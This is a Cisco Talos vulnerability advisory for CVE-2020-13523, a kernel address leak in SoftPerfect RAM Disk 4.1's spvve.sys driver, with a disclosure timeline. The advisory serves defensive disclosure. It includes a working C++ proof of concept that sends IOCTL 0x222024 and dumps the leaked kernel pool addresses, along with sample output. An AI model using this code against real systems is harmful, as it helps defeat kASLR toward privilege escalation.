Talos Vulnerability Report

TALOS-2020-1122

SoftPerfect RAM Disk spvve.sys 0x222024 information disclosure vulnerability

AUGUST 4, 2020

CVE NUMBER

CVE-2020-13523

SUMMARY

An exploitable information disclosure vulnerability exists in SoftPerfect's RAM Disk 4.1 spvve.sys driver. A specially crafted I/O request packet (IRP) can cause the disclosure of sensitive information. An attacker can send a malicious IRP to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

SoftPerfect RAM Disk 4.1

PRODUCT URLS

RAM Disk - https://www.softperfect.com/products/ramdisk/

CVSSV3 SCORE

3.8 - CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

CWE

CWE-200 - Information Exposure

DETAILS

SoftPerfect RAM Disk is a high-performance RAM disk application that lets the user store a disk from their computer stored on the device's memory.

The spvve.sys driver creates a device object `Device\SoftPerfectVolume` that is accessible to any user on the system so any user sending specially crafted I/O request packet (IRP) can cause information disclosure (leak kernel pool memory address).

```
int main()
{
        const wchar_t* errmsg = NULL;
        LPCWSTR deviceName = L"\\Device\\SoftPerfectVolume";
        HANDLE hDevice = OpenDeviceWorker(deviceName, GENERIC_READ | GENERIC_WRITE, &errmsg, TRUE);
        if (hDevice == INVALID_HANDLE_VALUE) {
                if (errmsg == NULL) {
                        printf("error: something in OpenDeviceEx failed\n");
                }
                else {
                        wprintf(L"error: %s\n", errmsg);
                }
        }

        const DWORD inBufferSize = 8;
        const DWORD outBufferSize = 16;
        PBYTE inBuffer = new BYTE[inBufferSize];
        PBYTE outBuffer = new BYTE[outBufferSize];;
        DWORD returned;

        //kernel pool memory address leak
        printf("DeviceIoControl IOCTL : 0x222024\n");
        DeviceIoControl(hDevice,
                0x222024,
                inBuffer,
                inBufferSize,
                outBuffer,
                outBufferSize,
                &returned,
                0);

        neolib::hex_dump(outBuffer, outBufferSize, std::cout);

        return 0;
}
```

output:

```
C:\tmp\ramdisk>RamDiskMemLeak.exe
DeviceIoControl IOCTL : 0x222024
0000 : ....h....2...2.. D0 96 EA 00 68 92 EA 00 00 32 EA 00 00 32 EA 00

C:\tmp\ramdisk>RamDiskMemLeak.exe
DeviceIoControl IOCTL : 0x222024
0000 : h8O...O......0.. 68 38 4F 01 C0 00 4F 01 07 00 00 07 B0 30 00 00

C:\tmp\ramdisk>RamDiskMemLeak.exe
DeviceIoControl IOCTL : 0x222024
0000 : .!.............. A8 21 FD 00 C0 00 FD 00 00 00 00 00 00 00 00 00
```

This kind of vulnerability can allow an attacker to bypass kASLR mitigation and open possibility to local privilage escalation when used in conjunction with another vulnerability.

TIMELINE

2020-07-16 - Vendor Disclosure

2020-07-23 - Vendor Patched

2020-08-04 - Public Release

CREDIT

Discovered by a member of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT TALOS-2020-1093

NEXT REPORT TALOS-2020-1121